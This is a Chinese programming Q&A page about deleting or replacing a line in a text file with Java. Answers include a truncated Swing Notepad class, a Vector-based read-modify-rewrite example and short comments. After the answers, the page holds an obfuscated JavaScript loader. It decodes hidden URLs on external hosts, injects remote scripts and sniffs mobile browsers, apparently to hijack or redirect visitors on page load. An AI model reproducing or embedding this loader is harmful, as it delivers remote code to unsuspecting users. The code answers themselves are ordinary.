java文本操作 删除文本中的某一行(或一个对象)

2025-02-12 15:40:42
推荐回答(4个)
回答1:

你说的不就是一个记事本吗,

//import java packages
import java.awt.*;
import java.awt.event.*;
import java.text.*;
import java.util.*;
import java.io.*;
import javax.swing.undo.*;
import javax.swing.border.*;
import javax.swing.*;
import javax.swing.text.*;
import javax.swing.event.*;
import java.awt.datatransfer.*;

public class Notepad extends JFrame implements ActionListener,DocumentListener{

//定义变量

//菜单
JMenu fileMenu,editMenu,formatMenu,viewMenu,helpMenu;

//"文件"的菜单项
JMenuItem fileMenu_New,fileMenu_Open,fileMenu_Save,fileMenu_SaveAs,fileMenu_PageSetup,fileMenu_Print,fileMenu_Exit;

//"编辑"的菜单项
JMenuItem editMenu_Undo,editMenu_Redo,editMenu_Cut,editMenu_Copy,editMenu_Paste,editMenu_Delete,editMenu_Find,editMenu_FindNext,editMenu_Replace,
editMenu_GoTo,editMenu_SelectAll,editMenu_TimeDate;

//"格式"的菜单项
JCheckBoxMenuItem formatMenu_LineWrap;
JMenu formatMenu_Color;
JMenuItem formatMenu_Font,formatMenu_Color_FgColor,formatMenu_Color_BgColor;

//"查看"的菜单项
JCheckBoxMenuItem viewMenu_Status;

//"帮助"的菜单项
JMenuItem helpMenu_HelpTopics,helpMenu_About;

//文本编辑区域
JTextArea editArea;

//状态栏标签
JLabel statusLabel;

//弹出菜单及菜单项
JPopupMenu popupMenu;
JMenuItem popupMenu_Undo,popupMenu_Redo,popupMenu_Cut,popupMenu_Copy,popupMenu_Paste,popupMenu_Delete,popupMenu_SelectAll;

//系统剪贴板
Toolkit toolKit=Toolkit.getDefaultToolkit();
Clipboard clipBoard=toolKit.getSystemClipboard();

//其它变量
boolean isNewFile=true; //是否新文件(未保存过的)
File currentFile; //当前文件名
String oldValue; //存放编辑区原来的内容,用于比较文本是否有改动
JButton fontOkButton; //字体设置里的"确定"按钮

//工具栏按钮
JButton newButton,openButton,saveButton,saveAsButton,printButton,undoButton,redoButton,
cutButton,copyButton,pasteButton,deleteButton,searchButton,timeButton,fontButton,
boldButton,italicButton,fgcolorButton,bgcolorButton,helpButton;

//创建撤消操作管理器
protected UndoManager undo = new UndoManager();
protected UndoableEditListener undoHandler = new UndoHandler();

//设置编辑区默认字体
protected Font defaultFont=new Font("宋体",Font.PLAIN,12);

//构造函数开始
public Notepad()
{
super("黄斌的记事本");

//获取容器
Container container=getContentPane();

//创建菜单条
JMenuBar menuBar = new JMenuBar();

//创建文件菜单及菜单项并注册事件监听
JMenu fileMenu = new JMenu("文件(F)", true);
fileMenu.setMnemonic('F');

fileMenu_New = new JMenuItem("新建(N)", 'N');
fileMenu_New.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_N, InputEvent.CTRL_MASK));
fileMenu_New.addActionListener(this);

fileMenu_Open = new JMenuItem("打开(O)...", 'O');
fileMenu_Open.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_O, InputEvent.CTRL_MASK));
fileMenu_Open.addActionListener(this);

fileMenu_Save = new JMenuItem("保存(S)", 'S');
fileMenu_Save.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_S, InputEvent.CTRL_MASK));
fileMenu_Save.addActionListener(this);

fileMenu_SaveAs = new JMenuItem("另存为(A)...", 'A');
fileMenu_SaveAs.addActionListener(this);

fileMenu_PageSetup = new JMenuItem("页面设置(U)...",'U');
fileMenu_PageSetup.addActionListener(this);

fileMenu_Print = new JMenuItem("打印(P)...", 'P');
fileMenu_Print.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_P, InputEvent.CTRL_MASK));
fileMenu_Print.addActionListener(this);

fileMenu_Exit = new JMenuItem("退出(X)",'X');
fileMenu_Exit.addActionListener(this);

//创建编辑菜单及菜单项并注册事件监听
JMenu editMenu = new JMenu("编辑(E)", true);
editMenu.setMnemonic('E');
editMenu.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e){
checkMenuItemEnabled();//设置剪切、复制、粘贴、删除等功能的可用性
}
}
);

editMenu_Undo = new JMenuItem("撤消(U)",'U');
editMenu_Undo.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_Z, InputEvent.CTRL_MASK));
editMenu_Undo.addActionListener(this);
editMenu_Undo.setEnabled(false);

editMenu_Redo = new JMenuItem("重做(R)",'R');
editMenu_Redo.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_Y,InputEvent.CTRL_MASK));
editMenu_Redo.addActionListener(this);
editMenu_Redo.setEnabled(false);

editMenu_Cut = new JMenuItem("剪切(T)",'T');
editMenu_Cut.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_X, InputEvent.CTRL_MASK));
editMenu_Cut.addActionListener(this);

editMenu_Copy = new JMenuItem("复制(C)",'C');
editMenu_Copy.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_C, InputEvent.CTRL_MASK));
editMenu_Copy.addActionListener(this);

editMenu_Paste = new JMenuItem("粘贴(P)",'P');
editMenu_Paste.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_V, InputEvent.CTRL_MASK));
editMenu_Paste.addActionListener(this);

editMenu_Delete = new JMenuItem("删除(L)",'L');
editMenu_Delete.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_DELETE, 0));
editMenu_Delete.addActionListener(this);

editMenu_Find = new JMenuItem("查找(F)...",'F');
editMenu_Find.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_F, InputEvent.CTRL_MASK));
editMenu_Find.addActionListener(this);

editMenu_FindNext = new JMenuItem("查找下一个(N)",'N');
editMenu_FindNext.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_F3,0));
editMenu_FindNext.addActionListener(this);

editMenu_Replace = new JMenuItem("替换(R)...",'R');
editMenu_Replace.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_H, InputEvent.CTRL_MASK));
editMenu_Replace.addActionListener(this);

editMenu_GoTo = new JMenuItem("转到(G)...",'G');
editMenu_GoTo.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_G, InputEvent.CTRL_MASK));
editMenu_GoTo.addActionListener(this);

editMenu_SelectAll = new JMenuItem("全选",'A');
editMenu_SelectAll.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_A, InputEvent.CTRL_MASK));
editMenu_SelectAll.addActionListener(this);

editMenu_TimeDate = new JMenuItem("时间/日期(D)",'D');
editMenu_TimeDate.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_F5,0));
editMenu_TimeDate.addActionListener(this);

//创建格式菜单及菜单项并注册事件监听
JMenu formatMenu = new JMenu("格式(O)", true);
formatMenu.setMnemonic('O');

formatMenu_LineWrap = new JCheckBoxMenuItem("自动换行(W)");
formatMenu_LineWrap.setMnemonic('W');
formatMenu_LineWrap.setState(true);
formatMenu_LineWrap.addActionListener(this);

formatMenu_Font = new JMenuItem("字体(F)...",'F');
formatMenu_Font.addActionListener(this);

formatMenu_Color = new JMenu("设置颜色");
formatMenu_Color_FgColor=new JMenuItem("字体颜色");
formatMenu_Color_FgColor.addActionListener(this);
formatMenu_Color_BgColor=new JMenuItem("背景颜色");
formatMenu_Color_BgColor.addActionListener(this);

//创建查看菜单及菜单项并注册事件监听
JMenu viewMenu = new JMenu("查看(V)", true);
viewMenu.setMnemonic('V');

viewMenu_Status = new JCheckBoxMenuItem("状态栏(S)");
viewMenu_Status.setMnemonic('S');
viewMenu_Status.setState(true);
viewMenu_Status.addActionListener(this);

//创建帮助菜单及菜单项并注册事件监听
JMenu helpMenu = new JMenu("帮助(H)", true);
helpMenu.setMnemonic('H');

helpMenu_HelpTopics = new JMenuItem("帮助主题(H)",'H');
helpMenu_HelpTopics.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_F1,0));
helpMenu_HelpTopics.addActionListener(this);

helpMenu_About = new JMenuItem("关于记事本(A)",'A');
helpMenu_About.addActionListener(this);

//向菜单条添加"文件"菜单及菜单项
menuBar.add(fileMenu);
fileMenu.add(fileMenu_New);
fileMenu.add(fileMenu_Open);
fileMenu.add(fileMenu_Save);
fileMenu.add(fileMenu_SaveAs);
fileMenu.addSeparator(); //分隔线
fileMenu.add(fileMenu_PageSetup);
fileMenu.add(fileMenu_Print);
fileMenu.addSeparator(); //分隔线
fileMenu.add(fileMenu_Exit);

//向菜单条添加"编辑"菜单及菜单项
menuBar.add(editMenu);
editMenu.add(editMenu_Undo);
editMenu.add(editMenu_Redo);
editMenu.addSeparator(); //分隔线
editMenu.add(editMenu_Cut);
editMenu.add(editMenu_Copy);
editMenu.add(editMenu_Paste);
editMenu.add(editMenu_Delete);
editMenu.addSeparator(); //分隔线
editMenu.add(editMenu_Find);
editMenu.add(editMenu_FindNext);
editMenu.add(editMenu_Replace);
editMenu.add(editMenu_GoTo);
editMenu.addSeparator(); //分隔线
editMenu.add(editMenu_SelectAll);
editMenu.add(editMenu_TimeDate);

//向菜单条添加"格式"菜单及菜单项
menuBar.add(formatMenu);
formatMenu.add(formatMenu_LineWrap);
formatMenu.add(formatMenu_Font);
formatMenu.addSeparator();
formatMenu.add(formatMenu_Color);
formatMenu_Color.add(formatMenu_Color_FgColor);
formatMenu_Color.add(formatMenu_Color_BgColor);

//向菜单条添加"查看"菜单及菜单项
menuBar.add(viewMenu);
viewMenu.add(viewMenu_Status);

//向菜单条添加"帮助"菜单及菜单项
menuBar.add(helpMenu);
helpMenu.add(helpMenu_HelpTopics);
helpMenu.addSeparator();
helpMenu.add(helpMenu_About);

//向窗口添加菜单条
this.setJMenuBar(menuBar);

//创建文本编辑区并添加滚动条
editArea=new JTextArea(20,50);
JScrollPane scroller=new JScrollPane(editArea);
scroller.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_ALWAYS);
container.add(scroller,BorderLayout.CENTER);//向容器添加文本编辑区
editArea.setWrapStyleWord(true); //设置单词在一行不足容纳时换行
editArea.setLineWrap(true); //设置文本编辑区自动换行默认为true,即会"自动换行"
editArea.setFont(defaultFont); //设置编辑区默认字体
editArea.setBackground(Color.white); //设置编辑区默认背景色
editArea.setForeground(Color.black); //设置编辑区默认前景色
oldValue=editArea.getText(); //获取原文本编辑区的内容

//编辑区注册事件监听
editArea.getDocument().addUndoableEditListener(undoHandler);
editArea.getDocument().addDocumentListener(this);

//创建右键弹出菜单
popupMenu=new JPopupMenu();
popupMenu_Undo=new JMenuItem("撤消(U)",'U');
popupMenu_Redo=new JMenuItem("重做(R)",'R');
popupMenu_Cut =new JMenuItem("剪切(T)",'T');
popupMenu_Copy=new JMenuItem("复制(C)",'C');
popupMenu_Paste=new JMenuItem("粘贴(P)",'P');
popupMenu_Delete=new JMenuItem("删除(D)",'D');
popupMenu_SelectAll=new JMenuItem("全选(A)",'A');

popupMenu_Undo.setEnabled(false); //撤消选项初始设为不可用
popupMenu_Redo.setEnabled(false); //重做选项初始设为不可用

//向右键菜单添加菜单项和分隔符
popupMenu.add(popupMenu_Undo);
popupMenu.add(popupMenu_Redo);
popupMenu.addSeparator();
popupMenu.add(popupMenu_Cut);
popupMenu.add(popupMenu_Copy);
popupMenu.add(popupMenu_Paste);
popupMenu.add(popupMenu_Delete);
popupMenu.addSeparator();
popupMenu.add(popupMenu_SelectAll);

//右键菜单注册事件
popupMenu_Undo.addActionListener(this);
popupMenu_Redo.addActionListener(this);
popupMenu_Cut.addActionListener(this);
popupMenu_Copy.addActionListener(this);
popupMenu_Paste.addActionListener(this);
popupMenu_Delete.addActionListener(this);
popupMenu_SelectAll.addActionListener(this);

//文本编辑区注册右键菜单事件
editArea.addMouseListener(
new MouseAdapter(){
public void mousePressed(MouseEvent e)
{
checkForTriggerEvent(e);
}

public void mouseReleased(MouseEvent e)
{
checkForTriggerEvent(e);
}

private void checkForTriggerEvent(MouseEvent e)
{
if(e.isPopupTrigger())
popupMenu.show(e.getComponent(),e.getX(),e.getY());
checkMenuItemEnabled(); //设置剪切、复制、粘贴、删除等功能的可用性
editArea.requestFocus(); //编辑区获取焦点
}

});

//创建工具栏
JPanel toolBar=new JPanel();
toolBar.setLayout(new FlowLayout(FlowLayout.LEFT));

Icon newIcon=new ImageIcon("Icons/new.gif");
Icon openIcon=new ImageIcon("Icons/open.gif");
Icon saveIcon=new ImageIcon("Icons/save.gif");
Icon saveAsIcon=new ImageIcon("Icons/saveas.gif");
Icon printIcon=new ImageIcon("Icons/print.gif");
Icon undoIcon=new ImageIcon("Icons/undo.gif");
Icon redoIcon=new ImageIcon("Icons/redo.gif");
Icon cutIcon=new ImageIcon("Icons/cut.gif");
Icon copyIcon=new ImageIcon("Icons/copy.gif");
Icon pasteIcon=new ImageIcon("Icons/paste.gif");
Icon deleteIcon=new ImageIcon("Icons/delete.gif");
Icon searchIcon=new ImageIcon("Icons/search.gif");
Icon timeIcon=new ImageIcon("Icons/time.gif");
Icon fontIcon=new ImageIcon("Icons/font.gif");
Icon boldIcon=new ImageIcon("Icons/bold.gif");
Icon italicIcon=new ImageIcon("Icons/italic.gif");
Icon bgcolorIcon=new ImageIcon("Icons/bgcolor.gif");
Icon fgcolorIcon=new ImageIcon("Icons/fgcolor.gif");
Icon helpIcon=new ImageIcon("Icons/help.gif");

newButton= new JButton(newIcon);
openButton=new JButton(openIcon);
saveButton= new JButton(saveIcon);
saveAsButton=new JButton(saveAsIcon);
printButton=new JButton(printIcon);
undoButton=new JButton(undoIcon);
undoButton.setEnabled(false);
redoButton=new JButton(redoIcon);
redoButton.setEnabled(false);
cutButton=new JButton(cutIcon);
cutButton.setEnabled(false);
copyButton=new JButton(copyIcon);
copyButton.setEnabled(false);
pasteButton=new JButton(pasteIcon);
pasteButton.setEnabled(false);
deleteButton=new JButton(deleteIcon);
deleteButton.setEnabled(false);
searchButton=new JButton(searchIcon);
timeButton=new JButton(timeIcon);
fontButton=new JButton(fontIcon);
boldButton=new JButton(boldIcon);
italicButton=new JButton(italicIcon);
fgcolorButton=new JButton(fgcolorIcon);
bgcolorButton=new JButton(bgcolorIcon);
helpButton=new JButton(helpIcon);

newButton.setPreferredSize(new Dimension(22,22));
openButton.setPreferredSize(new Dimension(22,22));
saveButton.setPreferredSize(new Dimension(22,22));
saveAsButton.setPreferredSize(new Dimension(22,22));
printButton.setPreferredSize(new Dimension(22,22));
undoButton.setPreferredSize(new Dimension(22,22));
redoButton.setPreferredSize(new Dimension(22,22));
cutButton.setPreferredSize(new Dimension(22,22));
copyButton.setPreferredSize(new Dimension(22,22));
pasteButton.setPreferredSize(new Dimension(22,22));
deleteButton.setPreferredSize(new Dimension(22,22));
searchButton.setPreferredSize(new Dimension(22,22));
timeButton.setPreferredSize(new Dimension(22,22));
fontButton.setPreferredSize(new Dimension(22,22));
boldButton.setPreferredSize(new Dimension(22,22));
italicButton.setPreferredSize(new Dimension(22,22));
fgcolorButton.setPreferredSize(new Dimension(22,22));
bgcolorButton.setPreferredSize(new Dimension(22,22));
helpButton.setPreferredSize(new Dimension(22,22));

//注册工具栏按钮事件
newButton.addActionListener(this);
openButton.addActionListener(this);
saveButton.addActionListener(this);
saveAsButton.addActionListener(this);
printButton.addActionListener(this);
undoButton.addActionListener(this);
redoButton.addActionListener(this);
cutButton.addActionListener(this);
copyButton.addActionListener(this);
pasteButton.addActionListener(this);
deleteButton.addActionListener(this);
searchButton.addActionListener(this);
timeButton.addActionListener(this);
fontButton.addActionListener(this);
boldButton.addActionListener(this);
italicButton.addActionListener(this);
fgcolorButton.addActionListener(this);
bgcolorButton.addActionListener(this);
helpButton.addActionListener(this);

回答2:

多个对象是什么对象?
计事本里只能存文字列吧,
把你存的那段代码拿出来,或者把你存的操作说一下

主要思想是,打开这个文件,把这个文件的内容读取到一个Vector里面,
然后再对文本内容进行改变,改变好的放在Vector2里面。最后把Vector2的内容输出到同一个文件里。
附上代码:
/*
* JiShiBen.java
*
*
*删除文本中的某一行(或一个对象)
*要求:具有增删改的功能
*在修改时最好不要用以下方法
*String s=文本内容;
*然后change s的内容
*最后将s写入文件,覆盖以前的内容。
*
*
*/
package FileXml;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Vector;

/**
* @author songml
*
*/
public class JiShiBen {

/**
* @param args
*/
public static void main(String args[]){
File f_obj1;

String path1 = "";
path1 = "D:\\1.txt" ;

String outPath = path1;

f_obj1 = new File (path1);
if (!f_obj1.exists()) {
System.out.println("SourceFile \"" + path1 + "\" is not exist!");
return;
}
BufferedReader br;
try{
br = new BufferedReader(new FileReader(path1));
String s = "";
String s2 = "";
int intCountNo = 0;
Vector vector = new Vector();
Vector vector2 = new Vector();

while((s=br.readLine())!= null) {
vector.add(s);
}
for (int i = 0; i < vector.size(); i++) {
s = (String)vector.get(i);
System.out.println(s);
if (isExsit("1",s)) {
vector2.add(s.replaceAll("1", "2"));
System.out.println(s);
} else {
vector2.add(s);
}

}
PrintWriter pw = new PrintWriter(new FileWriter(outPath));
for (int i = 0; i < vector2.size(); i++) {
s2 = (String)vector2.get(i);
intCountNo++;
pw.println(s2);
pw.flush();
}
System.out.println("OK! Number is :"+intCountNo);
System.out.println("OutPath is :"+outPath);

}catch(IOException e){
System.out.println("File Create Error!");
}
}

/**
* @param str
* @param s
* @return isExsit
*/
public static boolean isExsit (String str,String s) {
boolean Flg =false;
if (s.indexOf(str) != -1) {
Flg = true;
}
return Flg;
}

}

回答3:

对文本文件进行操作,可以直接追加一行.但无法直接删除其中一行!!!!
无论JAVA还是其它语言都不行!!!
只能把文本内容读入内存,修改后再全部保存,覆盖原来的内容...

回答4:

搜索一个开源的记事本看看~

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 